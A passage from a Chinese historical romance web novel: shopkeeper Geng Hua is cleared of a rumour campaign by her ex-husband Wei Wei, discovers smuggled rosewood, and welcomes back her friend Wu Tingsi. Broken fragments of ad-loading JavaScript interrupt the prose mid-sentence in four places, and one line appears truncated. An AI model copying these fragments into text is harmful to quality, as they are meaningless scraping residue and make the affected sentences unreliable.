“婳坊倒闭!耿婳滚出吉庆街!” 震耳欲聋的喊叫声盖过了对原本事件的讨论,刘掌柜为首的一群人领着小厮和路人,恨不能冲破婳坊的木门。 耿婳在紫殷的保护下关上了店门。但架不住外面铺天盖地的敲门声和斥责。他们不听解释,人云亦云,转眼间在刘妍的带动下变得更加疯狂。 店铺的门向里间凸起,被外面人拍得当当响,四周的灰尘也扬了起来。 耿婳捂脸埋在阮若怀里,阮若一边给她顺着背,一边不可思议:“这群人简直疯了!” “一看就有人指示,蓄谋已久。”紫殷咬着手指,忽而察觉不对,又问:“芊芊呢?” 阮若摇摇头:“刚才没顾上她,估计被围外面了。” 外面人影还在浮动,吵闹声却小了点。 好像有人来了。 “魏、魏司马?” 耿婳猛然抬头。 魏巍在马车里听芊芊说了来龙去脉。除非亲眼所见,他不曾想事态会演变成这般田地。为首的几个掌柜猩红着眼,不知道的还以为和耿婳有多大仇多大怨。 魏司马在前,身后跟着刘长史和张别驾以及官府的人。 他们见大官人过来,老实巴交得噤了声。蜂拥在婳坊门前的众人也消停下来,纷纷给魏巍让路。 魏巍道:“何人在此喧哗?” 刘掌柜磕巴道:“是、是杜老太太。” 魏巍疑惑地看向人群,角落里缩着一老一小。杜氏见了魏巍先是一愣,半晌才反应过来。 “魏、魏相……”她嗫嚅。 围观的人很多不知道魏巍以前的官职,此刻听杜氏这么一提,大致都明白了。他以前是丞相,耿婳以前是丞相夫人!那他们岂不是—— 众人交换神色,谁也不敢开口。 “你就是魏巍?娶耿婳的那个人?!”杜氏旁边的小少年愤然道:“还不快叫岳母!” 魏巍顺着耿钰的指引看向杜氏,奇道:“哪儿来的老妪,本官从未见过。” 他说完随意撇开眼,不想在这脏兮兮的老太婆身上多停留一秒。 “你胡说!你娶了耿婳,你该管我娘亲叫岳母!管我叫小舅子!”耿钰不依不饶。 魏巍被他这话逗笑了。 玄海道:“魏家乃是京城的名门望族,何时与你们这些叫花子有亲!休说瞎话糊弄人!” 即便如老太婆所言,她曾是京城胭脂铺的商户,那也绝对攀不上相府的高门啊。 众人这才醒悟过来,屋里的耿婳渐渐心安。 “这老婆子原来在撒谎啊。” “娘儿俩不知哪儿来的骗子。魏大人出身高贵,怎么会认识他们?” 刘掌柜赔笑说:“我可真糊涂,刚刚听信了老妪的瞎话。” “你确实没脑子。”魏巍冷道。 “我等虽然愚笨,只是……”刘掌柜看着魏巍,大胆说,“只是总觉得魏司马与耿掌柜关系匪浅,这才由着老妪引导想歪了。” 这就是在暗问魏巍和耿婳的关系。耿婳隔着门板听到此话,神经再次绷紧。 魏巍早想找机会堵死她们的嘴。现在人多,正是好时候。 “本官和耿掌柜是旧相识。”魏巍回道,“夫人生前是耿掌柜店里的大主顾,我因此与耿掌柜有过接触。后来她到扬州经商,本官见到婳坊里夫人买过的同款香粉,不由睹物思人,这才常常来此。上回在山中别馆遇见耿掌柜,本官念及夫人旧情才出手解围,本以为大事化小小事化了。只可惜还有不懂事的长舌妇喜欢背后搬弄是非。本官记得上次起头的就是你。” 魏巍瞥向刘掌柜。刘妍缩了缩身子,跟在她身旁的一众小姐妹商户也都蔫儿了。 “说,什么目的。” 他必须要探查清楚,还耿婳一个公道。 刘妍一问一个不吱声。 “耿掌柜和你有多大仇怨,值得你这般费心费力坑害?”魏巍势必要问出个一二三来。 “本官问你话,为何不答?” 刘掌柜的小脸烫得能烙饼,手指抓着衣裙,片刻后红着眼睛说:“我都没在西街开新店,她怎么能开。” 她声音很小很轻,魏巍却听出了溶于怒火中的嫉妒。 耿婳岂能不知她这点扭曲的心思?她在门内关注着丑态百出的刘妍,面色和心绪渐渐平静。 “你出于嫉妒,拉拢其他商户编造谣言想搅黄耿掌柜生意。是也不是?” 刘掌柜咬牙认下:“是又怎么样,凭什么所有好处都让她耿婳捞了去,我们只能吃她剩下的残羹?” “这个老妪,和你什么关系?”魏巍细问。 刘妍惊得冷汗直流,因纠结而绞在一起的手指哆嗦起来,她万万没想到这点能被他察觉。 魏巍道:“你说实话,可以从轻发落。” 一直埋头跪地上的杜氏悄悄抬头,看见刘妍的脸由扭曲慢慢变得松弛,就好像泄了气的球。 “她、她是我昨日街上无意撞见的,她嘴里骂着耿掌柜的大名,我想她们或许有仇,仔细询问知道了来龙去脉,就想借势搞一波大的。”刘妍有气无力地说完,感觉用尽了全身的力气。 杜氏傻了眼,没想到她这么轻易就秃噜出她们之间的猫腻。她一骨碌爬到魏巍跟前,瞪着一双快要凸出来的眼球,哭喊:“魏大人!魏大人,草民确确实实是耿掌柜母亲!虽然并非亲生,但我是她爹的正室。耿婳这个不孝子,在我们全家牢狱之灾后不管不顾,自己跑来扬州赚钱享福!我是她亲娘,理所应当受她供养!她她他这个孽畜不收留我也就罢了,还装作不认识我!青天大老爷给我做主啊!” 杜氏歇斯底里哭完,气都喘不匀了。她求助似的看向四周围观路人。 刚刚还在声援她、同情她的众人,此刻鄙夷又冷漠地看着她,仿佛真是在看一个乞讨的傻子。 “一派胡言。”魏巍冷静道,“我听夫人说耿掌柜父母早亡,之后独自开店营生。你这个母亲又是从哪里来的?” 一个官场士大夫,一个街头乞丐婆,两人各执一词,但是谁的更可信,已经不言而喻了。 围观的群众自然相信了他们愿意相信的人。 “这婆娘嘴里没一句实话。” “是啊,刚刚还信誓旦旦唬人呢。” 路人窃窃私语。杜氏喉咙里像卡住了巨石,吐不出来咽不下去,噎得她一句话也说不出来。 “刘长史,扬州 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 城商家经营这块,可是由你负责?”魏巍扭头问刘瑛。 “是。”刘长史即刻应下,“商户刘氏恶性竞争造谣其他商户,串通江湖骗子勒索他人钱财未果,造成恶劣影响。刘氏罚银,骗子收监。” 张别驾一惊,他刘长史什么时候管这些了?他刚想开口,就被魏巍威慑的眼神吓退。 其实具体的处罚要到公堂上审理。眼下人多眼杂,魏巍这般做无非想杀鸡儆猴,给清白者一个交代。 耿钰喊着“冤枉”被人拖走了,杜氏魔怔地放声大笑,骂完耿婳骂魏巍,最后破罐破摔,满口胡言:“你婆娘私通姓伍的,别以为我不知道!你婆娘红杏出墙,你这都能忍……” 只是她说的每一句话,没有人会信。 官吏一并带走的还有刘妍为首的几位掌柜。 围观的人一哄而散,汇入人流如织的街市。 “有劳二位。”魏巍向刘张二人拱手。 三人刚要一道离开,婳坊的门“吱呀”打开。阮若和紫殷站在门侧,耿婳侧身坐在椅子上,眼眸像刚被清泉洗净过。 店里三人齐齐看向外面,这让在魏巍身边的芊芊很是尴尬。 魏巍朝她使个眼色,芊芊点头故作自然地进了婳坊。 耿婳命令道:“去,把他叫进来。” 芊芊又折回去传话:“魏大人,她叫你进去。” 魏巍辞了刘长史等人,随芊芊进了婳坊。他一进店里,耿婳扭头就往里走。 他跟耿婳进了后院,槐树下有两把干净的藤椅。耿婳旁若无人地坐上去,忽而想到什么,立刻对后面人说:“我可没许你坐。” 她的声音没有之前那么抗拒,魏巍笑了笑,蹲在她脚边:“哭了?” “鬼才哭了!”耿婳哼道,“芊芊是你的人?” “现在是你的了。”魏巍回道。 耿婳剜了他一眼,看向远处一角,只留给他一个背影。 “她原来是我府上奴婢,我见她身世可怜放还回乡,没想到辗转到你这儿。”魏巍笑眯了眼,“真是缘分。” “少来!谁和你有缘分!”耿婳扭头尖声否认,眼底闪过一丝微不可查的柔意。 魏巍偏偏没接话,让她有火撒不出。 耿婳急道:“我用不着你帮忙,我和你又没关系!” 魏巍知道她要强,顺着她说:“我也没想帮你。疯婆子说我和你有一腿,这不坏了本官的名声吗,我就是顺便路过,帮帮自己而已。” “顺便路过?”耿婳讥诮地问。 鬼才信他的话。 澄清一个事,我婚内没有红杏出墙!” “你听见了?”魏巍笑着说,“还挺体贴我。” 耿婳翻了白眼,眼底泛红,看神色好像生气了。 魏巍立刻不笑了。 “我没做过的事,不会认!”耿婳口气不善。 “嗯,我信你。” “少装蒜了。”耿婳红着眼忍着泪,看着他的模样气又不顺了。 “你以前不是查过?还害死了熹微?”她最后一句话是肯定的陈述,直接给他扣了一口大黑锅。 “熹微是你从娘家带来的姑姑,她去世了?”魏巍回忆着,否认说,“我没有害她。” 耿婳盯着他那双平静的眼眸,“真的?” “我没做过的事,不会认。”魏巍道。 44. 044 耿婳静默不语地看着他的凤眸,足足对视了一炷香的功夫,她安心地撇开眼神。 以他对芊芊的态度不难看出,他不是会随意苛责下人的人。更何况,当时他忙于新政,日理万机,哪有时间处理家务事。 魏巍的眼神好像有魔力,对视了一会儿耿婳就随他的情绪彻底静下来了。 害死熹微姑姑的人不是他。致她于死地的还能是谁? 心里有了大致猜测,耿婳下定决心把此事查清,还熹微一个公道。 “如果你需要调查,我倾尽所能帮你。”魏巍低声说,“只不过之前我捎信问过,没有回音。” 魏府执掌中馈的人是柳惜君,他虽是府上的顶梁柱,但终究和弟媳隔了一层。 也许和她有关也未可知。 “你能找到那个叫阿沁的丫鬟吗?”耿婳突然道,“她应该还在府上。” 阿沁是她的陪嫁丫鬟,也默认是安排给魏巍的通房,之后投奔到柳惜君房里。魏巍以需要照拂为由将她召来,不是难事。 “我试试。”魏巍答应她。他顿了顿,本来还想问问她小产的事,可上次她反应激烈,他怕又惹耿婳不快,就打算自己去查。 “那你出去吧,我乏了。”耿婳驱客。 魏巍突然后悔没有问一问,这样还能多和她待一会儿。 “我送你的礼物你看了吗?”他问。 “哦,早扔了。” 魏巍笑了,“那就是没有看呢。” 如果她看了,是不会扔的。魏巍知道她对香粉胭脂这行的热衷,如果她愿意一生去做这一件事,他也愿意为她保驾护航。 “许渊这几日筹备诗书会,请你去呢。”魏巍临走前说。 耿婳顿了顿,道:“他请我就去?我和他又不熟。”而且,说不准又和上回灵云楼顶的赔礼一样是个圈套。 “放心,我不去。”魏巍立刻道。 心里想法被撞破,她恼道:“你去不去关我什么事!你以为我是怕和你见面故意躲着你?笑话!” 说完,耿婳甩袖上楼。 魏巍笑着摇头,刚要踏出婳坊门槛就被拦住。 紫殷倚在门边,不善地看向他。 “魏大人真是闲在,居然有空来我们铺子转悠。” 魏巍当然不会理这个小厮。玄海上前道:“魏大人日理万机,没空理你这个流寇。” 他从对方眼里感受到渗人的阴狠,知道这人是软硬不吃的。 “你最好离她远一点。每一次她见你都不开心。”紫殷切齿地说,“不然我不会放过你!” 魏巍从新政初始受到的明枪暗箭可太多了,岂会怕一个小流寇的威胁。 “看来婳儿还不知道你是流寇。”魏巍说得意犹未尽。 “不许声张!”紫殷立刻道。 魏巍笑道:“放心,我不声张。你既然愿意效忠婳儿,我要替她感谢你。” 说完,他愉快地离开,独留紫殷一个人愤愤不平。 紫殷生气的是,魏巍自始至终不觉得自己能构成威胁。甚至他的狠话,到了人家那里也只当做是个笑话。 等魏巍的视线看不见耿婳时,她的脚步就平稳下来了。 这一天她都待在屋里沉思,夜里早早沐浴上床,蒙住被子反复又想起白天发生的事。 想到杜氏蛮不讲理的疯癫模样,想到刘妍煽风点火的笑容做派,还想到魏巍冷静地平息场面…… 这一次再想到他,破天荒没了以前的愤恨和恼火。 耿婳头一回在扬州城被人揭露令她恐惧的过往,本以为可怕的风波最后却无事发生般悄然结束。 其实她所害怕的一切,真正到来时也不过如此。 她蜷缩在被窝里的双腿双手一会儿自然地舒展开来,慢慢的,她变得更平静、更坦然。 耿婳伸了个懒腰,又想到和魏巍在后院的对话。她下床去角落里找魏巍送的礼物。 拆开一看,是一本皇宫尚仪局内部的《驻颜良方》,专讲养颜配方。 耿婳点灯填烛,兴致斐然地读起来,看到最后才发现这只是上册。 *** 许渊一生诗赋无数,在大奉文坛颇具盛名。这几日混迹扬州,结交了不少同道中人,于是自恃才华办了这场诗书会。 诗书会开在了一座耿婳从未来过的府邸。这里地方不大,环境清幽,到了夜里总有种分外宁静的安详感。 耿婳本无心参与,奈何魏巍暗示的明显,她偏要找到下册。 紫殷执意要跟着来,一路上嘀咕:“掌柜的就不该来,姓魏的准没安好心。” “他要是真有好意,怎么会许你艰苦经商,他高坐官位想清福?掌柜的别被他蒙骗了!” 耿婳道:“我岂会受他蒙骗?而且他不是那种闲下来享受的人,就算真有好意,过了这段时日自然醒悟,也不会纠缠于我。” 许渊正一个个招呼来宾。抬头一见耿婳,立刻笑脸相迎。 “肚子还疼不疼?”没等他开口,耿婳先说。 许渊愣了一下,旋即大笑道:“托美人的福,无碍了。” 他打量着耿婳,笑眯了眼:“这身交领襦裙真好看。” “别碰我掌柜!”紫殷狠道。 许渊扒拉她披帛的手一顿,奇道:“哪儿买的小厮这么凶?” 耿婳按了按紫殷的箭头,道:“放心,等我回来。” 紫殷乖巧站着不动了。走远些了,许渊叹道:“你说你,遛狗也不栓绳。” 进了水榭,文人墨客聚集着把酒言欢,前边一位账房打扮的先生正看着耿婳,眼里装着事。 “耿掌柜与我是旧认,五两银子的入场费免了!”许渊爽快道。 耿婳回道:“许大人好算计,印些旧文集变卖美其名曰诗书会。不知道的还以为是为南下攒盘缠呢。” “好姐姐,可别拆穿我。我多送你几篇诗集。”许渊朝她眨眨眼。 “这还差不多。”耿婳虽然对他的诗集不感兴趣,但是可以把它们和不好卖出的库存商品绑定,当营销噱头清仓处理。 许渊带她去书架,煞有介事道:“呐,这一排都是《许翰林旧集》,随便拿。我可就对你一个人开放哦。” 耿婳道:“劳烦许大人帮忙。我看不太清。” 许渊以为她在使小性子,但看她眯着眼睛轻蹙眉头,好像真得看不清。 “目力这么 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 差?”许渊震惊。 “原来蠢,晚上老做针线活。” 许渊给她多挑了几本,叫小厮包装好抱去给紫殷。 “《驻颜良方》的下册是吧,还不快带耿掌柜去找!” 耿婳随小厮出水榭去取下册,一路随他到了前堂。魏巍正坐在前堂读书,忽而看见一抹亮色映入眼帘。 “嗯?耿掌柜?”他讶然。 耿婳没太意外,她早该想到这出。 “你怎么在这儿?”耿婳问。 他放下书,正了正衣冠:“这是我家。” 那晚搭救紫殷时她也来过这里,只不过深更半夜看不仔细。许渊这人为了节省场地费干脆借用好友地盘,真是脸大如盆。 “我来取下册。”耿婳又说,“许渊让我来的。” 她这话说得好像故意撇清干系似的。魏巍笑道:“嗯,我知道你不是来找我的。” “正好准备开饭,耿掌柜不然一起吃?”他温和地问。 耿婳点头:“嗯,好。” 没想到这么快应下来,魏巍饶是吃惊。 他特意招呼小厨房多做了鱼食,听芊芊说她最爱吃鱼。这方面,他俩出奇地一致。 耿婳吃得清淡,魏巍特意嘱咐过厨房别放辣椒。 耿婳夹了几口,“上回,多谢。” 魏巍笑了笑,原来她是因为这个才愿意留下用饭的。 “是我该做的,我欠你太多。” 他确实亏欠她太多,耿婳理所当然这么觉得。但她昨晚想清楚了,她不该困在仇恨里自我惩罚,困在难以启齿的不堪回忆里思绪烦乱。 耿婳道:“我不是那种挟恩图报敲人竹竿的人,以后如果再牵扯出三年前的事,我有能力解决的,绝对不会打扰魏大人。” 说完之后,耿婳松了一口气,自从魏巍来到扬州她时常郁郁难解,心乱如麻,也时常气得发狂,疯疯癫癫。 没了夫妻这层关系,她的生活已经脱离了魏巍,已经步入了正轨。她喜欢反思自我,然后再抬头向前看。 她独立又坚强,即使平静说出一番话,也颇有力量。 这一刻,耿婳吐露真言后彻底冷静下来。再看眼前人,亦没了之前的仇恨和冷嘲热讽。 当她真正平静面对前夫时,慌得反而成了魏巍。 前几天,他还为耿婳愿意同他撒气而窃喜。而现在他思慕了三年的人好像一瞬间长大了。他自私地想,如果她愿意展露出柔弱来依赖他,他求之不得。 如今她只是平静又委婉地告诉他,如果可以不再有牵扯,她会更愿意独立处理之前的纠纷。 魏巍不会驳斥她的想法,但本能地讨厌她把一切拎得过于清楚。之前她总是气恼的这样说,他还可以告诉自己这是她故意逞强说出的气话。可当她看着他的眼睛真诚地这么说时,魏巍反而害怕了。 “上回魏大人说可以帮我找到原来的陪嫁丫鬟。”耿婳道,“如果可以,多谢了。” 耿婳敬了他一杯酒。 “自然。我并没有害人,也想洗刷清白。”过了许久,魏巍艰难地说出这番看似磊落随意的话。 因为他没有办法忤逆她,即使她刚平静捅了他一刀。 45. 045 魏巍送走耿婳后,立刻修书回京询问情况,同时不着痕迹打听阿沁,以玄海照拂不及为由向家里借人。 之后的几日,他除了在扬州城微服私访外,就是陪伴好友度过最后的自由时光。 五月中旬的艳阳天,魏巍等人送别了许渊。 “婳儿姑娘怎么没来?”许渊伸着脖子看人群,表情颇是遗憾。 魏巍冷淡道:“人家凭什么送你。” 许渊轻拍他胸脯,调笑说:“这不替你问吗。” “用不着。”魏巍突然后悔来送行。 “罢了罢了。”许渊摆摆手,“这么多人围着,她来了也看不见。 “什么?” 许渊见他疑惑,惊道:“你不知道她目力不好?” “她那双眼睛之前熬夜做针线都快熬瞎了,你是她夫君你不知道?”她把魏巍拉到跟前小声说。 魏巍愕然:“什么时候的事?” 他忽然觉得这个问题好蠢,她还会为谁熬夜绣荷包缝靴子?忽而泛起的酸楚如海啸般席卷了他的情绪。 “我也才知道啊……”许渊无语,“你这夫君怎么当的,怪不得人家不跟你过了。” 过了一会儿,魏巍抬起头来,极力掩饰着眼底情绪,对许渊说:“多谢兄弟,一路保重。” “嗐,保重保重!”许渊拍拍他肩,“记得写信!” 送走许渊后,魏巍站在柳树下缓了又缓,脑子比被风拂过的柳条还乱。 “大人,该回去了。”玄海小声督促。 上回寄去的信,有了回音。魏嵘告诉他,他离开后王司空一脉的刘理等人把持朝政,颇有取而代之的想法,这些天给圣上施压想要再立新相。 自从魏巍离开京城后,这些坏消息纷至沓来。必须早点揪住王司空的辫子,把这一拳打回去。 之前他和许渊曾谈过此事,最方便的法子就是拿王绅这个远亲下手。 魏巍问:“派人盯着刺史府没?” 玄海回道:“小的一直派人盯梢。前不久夜里发现有运到山上别馆的货品。” “货品?” “小的怕打草惊蛇,派人从远处跟着,看着像木材。” “继续盯着,一有动静随时报我。”魏巍看向他的眼神是冷厉的。 玄海会意,知晓事关重大,领命离开了。 信里,魏嵘没有跟他提及阿沁,只是旁敲侧击问询魏巍近况。 魏巍了解弟弟,这信绝对被柳惜君看了。这女人心眼儿多,不会那么轻易放人,所以才拐弯抹角问他私事。 越是遮掩,越说明问题。 魏巍为了不打草惊蛇,回信里没提丫鬟的事,只叫弟弟魏嵘帮忙问熟识的太医关于眼疾的疗法。 *** 另一边耿婳忙得热火朝天,开店迎客之余孜孜不倦的学习《驻颜良方》。 “米粉中加入少量葵花籽汁液,调成‘紫粉’,修正脸上黄气。” 书上甚至还有美白丹药的记载,“取药材白芷、白茯、白附子、白术、白蜡……” 耿婳打算试炼试炼,最好在伍听肆回来前能做出新品给他看。 “明儿,陪我去采药,下个月小肆哥哥回来,你们可打起精神!”她打烊时热火朝天同众人说。 芊芊小声问:“小肆哥哥是谁?” 紫殷答道:“掌柜的前东家,现在还有咱们店的股。他们好像很早就认识。” 第二日,耿婳打算去山上采摘药材。如果制成的美白丹有效,才能流通市场。 “为什么不去市场上买?”阮若不明白,她最讨厌打烊后干活了。 “你看看现在店里哪件商品不受同行模仿?我去市场上大摇大摆买这些药材,万一被人猜中捷足先登了怎么办!” 阮若无语:“你可真谨慎。” 耿婳今天特意穿了粗布麻衣,裹得密不透风,如此穿行在茂盛的青林山不怕蚊蛇。 夏日闷热,耿婳满头大汗却浑然不知,轻巧地往树林里窜着,担当开路先锋,整个人好像有用不完的活力。 “在这儿!快点!”她朝远处的三人招手。 耿婳割下白芷,扔到紫殷身后筐里。几人忙着采药,很快天就暗了下来。 “什么人?”紫殷敏锐抬眸。 “嗯?”耿婳顺着他的声音望去。只见不远处密林传来窸窣声,耿婳握紧手里镰刀。 一个八尺有余的汉子模模糊糊出现在视域。他离得有些远,看不清面容,耿婳看他穿着同自己一样的布衣,以为是城郊一带的村民。 “耿掌柜,好久不见。”他缓缓走来,轮廓也逐渐清晰。 芊芊乖巧地行礼,紫殷和阮若鄙夷地看着他。 魏巍笑着说:“没想到在这里见到你。” “确实没想到。”耿婳口气不咸不淡,“魏司马怎么在这里?” “我来山上寻一味药。”魏巍道,“耿掌柜怎么在这儿?” 话题自然引导到她这边。 “没什么,来采些药材补贴店里用度。”耿婳简单说。 她与他隔着安全距离,完全看不清他的表情。但让她开心的是,再见到魏巍时她比原来更平静了。 他再也不会波动她的心弦,也不会让她发怒发狂,这是好事。 气氛突然一滞。 紫殷趁机不客气地说:“魏司马,您挡道了。” 这不是一般百姓和官员说话该有的口气。耿婳却不置一词看向魏巍,好像默许了紫殷的话,在等他让路。 魏巍哪里甘心错过和耿婳见面的机会。自从上回府里用膳后,他还没见过耿婳呢。 多日不见,连端详一眼都成了奢侈。他的心机城府在官场上纵横还好,可面对心爱之人就不会应付了。 还没有等他说什么,耿婳很自然地侧身越过他,连个再见也没说。 “等等!”魏巍本能地拉住耿婳的手腕。 “不要动手动脚!”阮若尖叫。 自从知道魏巍以前是掌柜的男人后,她对这人的态度直接翻转。 紫殷道:“放开!” 耿婳看了看他紧握着的手,不解道:“你有事?” 她的语气像在拷问,他不知道该怎么答。 魏巍后悔放走许渊,应该在他临行前询问些技巧。他平时自诩清高,从不和接触女子,可到了真正心爱之人面前反而没了用武之地。 许渊在时,魏巍能借他的由头与耿婳见面。许渊不在,他又变得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迟钝蠢笨。 紫殷大步上去,要按倒魏巍,却被玄海拦住。纠缠间闹出不小动静。 “什么人?!”密林另一边有男人警惕的声音。 耿婳将手指按在唇边,警示众人不要出声。 过了一会儿,那边又传来声音:“就你一惊一乍的!这时候有个什么人?!蠢货!” 随后,再无声响。 耿婳疑惑地朝刚刚声源位置走去,她精神紧绷,蹑手蹑脚。魏巍的手还搭在她腕子上,被她领着也朝那地方挪去。 后面的一行人安静跟过去。 耿婳看到了后山一条小路,直通扬州城外。刚才的那几个壮丁正搬动木箱,累的汗水直流。 “掌柜的,那是上回王刺史送礼用的箱子。”阮若眼尖,凑到耿婳耳边小声说,“一模一样的。” 耿婳点点头,用眼神示意众人保持安静。随后,她领着大家远远地尾随那群人,直到后山脚。 壮丁们把木箱搬到车上,听他们交谈得知,这是要送往洛阳城的货。 夕阳西下,外面的天彻底黑了。耿婳带众人绕密林离开,从正道下了山。 直走到马车旁,她都沉默不语。 “耿掌柜,刚刚那是?”魏巍问。 耿婳小声:“应该是紫檀木材。” “紫檀?”魏巍眯起眼睛,声若蚊呐:“耿掌柜当真?” 前朝皇帝大兴土木,曾导致紫檀这类稀有木材岌岌可危。如今大奉为了保护紫檀木,将其划为官营,严禁私下采买。 王刺史的别馆里怎么能成箱成箱的出现这些? 运到京城老主顾那边——这是刚刚壮丁说的话。 分明是走私紫檀! “之前在灵云楼王绅想羞辱我,第二天送去的回礼也是用这种木箱装着。我在箱底发现了紫檀木屑,错不了。”耿婳快速说,“王绅这厮手脚不干不净,背着律法赚黑钱!” 魏巍笑道,“凭一块木屑就认准是紫檀?耿掌柜定是看错了。” “老娘怎么会看错?”她被人立刻否认,很是不爽。 “你的目力不可能那么准。”他说。 一提到她脆弱的视力,耿婳更来气了。她是为了谁熬坏眼睛的?! 耿婳皱着眉头怒视眼前人,愠声笑道:“哦,也是!我这种目力的人魏大人也愿意跟一道儿呢,真新鲜。” 突然发现他还恬不知耻地握着她的手腕,耿婳使劲一甩,摆脱他的桎梏。 皙白的手腕留下红印,她的皮肤一向这般细嫩。耿婳抽出手帕夸张地擦拭被他触碰的肌肤,随后将干净的帕子扔地上,好像丢掉一块避之不及的脏东西。 她生气地拂袖而去,阮若和芊芊立刻跟上车,紫殷一挥马鞭差点打到魏巍的脸。 “喂!注意点儿!”玄海叫道。 耿婳一侧的车窗开着,看见魏巍朝她这边看过来,“啪”一声重重地拍下了窗户。 玄海也觉得他那样说不妥,恹恹道:“大人既然想哄夫人欢心,何必说那么伤人的话。这下倒好,又把人惹了。” 魏巍望着怨气的马车,脸色变得柔和。 须臾,他叹道:“我要是不那么说,她势必往下查。何必让她蹚浑水呢。” 46. 046 伍听肆是在一个雨后初晴的午后回到扬州的,刚踏进婳坊时,耿婳甚至没认出此人。 他皮肤晒黑了,面相更硬朗了,眼底闪着世故。明明和耿婳同岁,却不知成熟多少。 伍听肆远远站在门口,安静看耿婳忙碌。 “小肆哥哥!”耿婳提裙朝他跑过来,面色欣喜。 “我刚下船就直奔吉庆街,那儿的丫头说你在新店。”伍听肆眯眼笑着,一边笑一边摸她头顶珠翠。 “又胖了,婳儿。” “嘿嘿。”耿婳憨笑几声,领他进去喝茶。 “真是的,你怎么提前一旬回来了?我本来想去码头接你的。” “接什么接,那边风浪大,你身子虚。” “这不都听你话吃胖了吗?我强健得很!”耿婳嘟嘴,“再说都什么天儿了,还能虚?” “挺好挺好。”伍听肆环顾店面,而后问,“眼睛好点了吗?” “嗐,就那样吧。”耿婳微笑说,“之前找郎中开过几味药,吃了能醒目清神,但还是看不远。” “我从暹罗带回来佛手红花,今儿来得急了些,有空送到你家。” “佛手红花?” 伍听肆道:“暹罗本土的草药,据说能提升目力。我带回来很多,剩下的可以到扬州市场上倒卖。” 耿婳轻声问:“一定很贵重吧。大概多少银钱?” “好啊,耿婳。生意做大了,敢跟哥哥谈钱了是吧。”伍听肆逗她。 她垂眸说:“从来了扬州起你就一直接济我,现在我又不穷了,怎么还能随便拿你的要你的。” “我家小婳长大了,还知道脸红了。”伍听肆大笑。 “反正我不白拿!”耿婳揪着衣角,闷声。 “好啊,你请我一顿酒宴,同我接风洗尘,就当是佛手红花的费用。” “行!”耿婳凑过去摇摇他胳膊,“我正好有很多话想和你说。” 这一天,耿婳先陪他去伍家老宅里安顿行囊。 伍听肆的父亲常年在外,家中院落不住人。耿婳有他房门钥匙,常派人洒扫。这回伍听肆回家也能舒服住下。 他拉着耿婳看从南洋运来的特产。其中就包括好几箱佛手红花和其他名贵药材。 “拿到市集上卖?”耿婳迟疑说,“会不会被官府的人盯上?” 大奉朝对买卖远洋货物有严格规章,一般货物要经相关部门审查后才能在市场公开售卖。 伍听肆摇摇头,神秘地问:“你可知道晓市?” 耿婳曾听王夫人提及过一回,却始终不清楚里面的门道。 “不就是子时之后开放的市集吗,好像就在扬州城里。” 伍听肆解释说:“晓市是躲避朝廷鹰犬的集市,三教九流五花八门,只有想不到没有买不到的。今晚有空哥带你进去开开眼。” “小肆哥哥刚回来,早点休息才要紧。晓市货品什么的,还是等过几日清闲了再去。”耿婳哄道。 “行,那你今晚先给我设宴接风。”伍听肆懒洋洋躺榻上,双手搭在脑后。 耿婳为难地坐他旁边,道:“不累么?要不再歇一天。” 伍听肆立刻说:“不累,就是想和你吃会儿喝会儿聊会儿。” 耿婳拿他没办法,只好答应:“那好,我差人订一桌。” “订在城郭饭庄。”伍听肆说。 耿婳讶然,她还没去城边那家饭庄吃过,听去过的人说菜品不怎么样。她揣着心中疑惑,没再说什么,只是照做。 这一下午,耿婳陪他背对背躺榻上歇了半个时辰。之后,耿婳拉他去吉庆街的老店逛。以阮若为首的店员对伍听肆毕恭毕敬,不少人把目光放在他和耿婳之间。 “第一次见掌柜的这么热情,跟个刚及笄的少女一样。”芊芊小声说。 “你懂什么,人家是青梅竹马,十几年的交情了。”阮若咯咯笑,“掌柜的生意能做这么大,全靠伍老板扶持。” 芊芊惊讶:“我看醉翁之意不在酒吧?” 阮若悄悄看了看不远处的那对“青梅竹马”,碰了碰芊芊肩膀,挤眉弄眼地说:“谁知道呢,他今年正好弱冠,一成年不就要娶媳妇?我看这次回来没准就为了终身大事。” 耿婳送了他好几盒新制粉膏。 “真好看。”伍听肆在后院木桌上把玩着精致的香粉盒子。 “小肆哥哥可要好好保养。我最近在研制一种叫美白丸的药剂,如果做好了正好拿给你用。”耿婳看了看他黝黑的脸。 “美白丸?”伍听肆听着名字就不可思议。 耿婳也发愁呢,她还没找到配料白莞,美白丸迟迟做不出来。 “这个好说,可以去晓市里找找。”伍听肆不以为意,又问:“这大半年我没在,城里可发生什么事?” 耿婳顿了一下,平静说:“没发生什么。” “哦,是吗……”伍听肆意味深长地看了她一眼。 夜里,耿婳带着一行人去城郭饭庄请伍听肆吃饭。 “怎么这么多人。”他看上去不太高兴,拉着耿婳往前快走了几步,和后面人保持着距离。 耿婳笑嘻嘻说:“一家子才热闹呀。” 她其实也就叫了紫殷阮若,还有芊芊这种踏实肯干的一小波人。 “丫头呀,你什么时候才能懂我。”他语重心长地拍了拍耿婳的手背。 “略略略。”耿婳朝他吐吐舌头,伍听肆笑着凑近捏捏她鼻子。 殊不知,远处庭院上的魏巍已然看到这一幕。他双手抓紧美人靠,眼睛一眨不眨盯着亲昵的二人,胸口好像塞入无数石块,又闷又胀。 这个男人就是三年前他撞见和耿婳偷偷幽会的人。她居然让他摸手,自来了扬州她还没让他摸过呢! 魏巍愈发沉闷。 人多眼杂,实在不方便说悄悄话。好好的叙旧变成了说教,伍听肆煞有介事地给众人分析海外经商的凶险故事。耿婳在一边托腮喝茶,一边侧面含笑看他。 “呐,耿掌柜是个有头脑的,你们能来这儿都是被她器重的,可要跟着人家好好干,知道吗?啊?”他抬高嗓音道。 阮若胡吃海喝哪管这些,芊芊悄悄关注着两个人的互动。紫殷抱着双臂背靠椅子,完全没有吃东西的食欲。 耿婳喝了一壶茶水,待到深夜席散时仍有百倍精神。芊芊扶着酩酊大醉的阮若,在门口等着掌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 柜。 耿婳道:“紫殷,你先带她们回家。” “那你呢,掌柜的。”紫殷问。 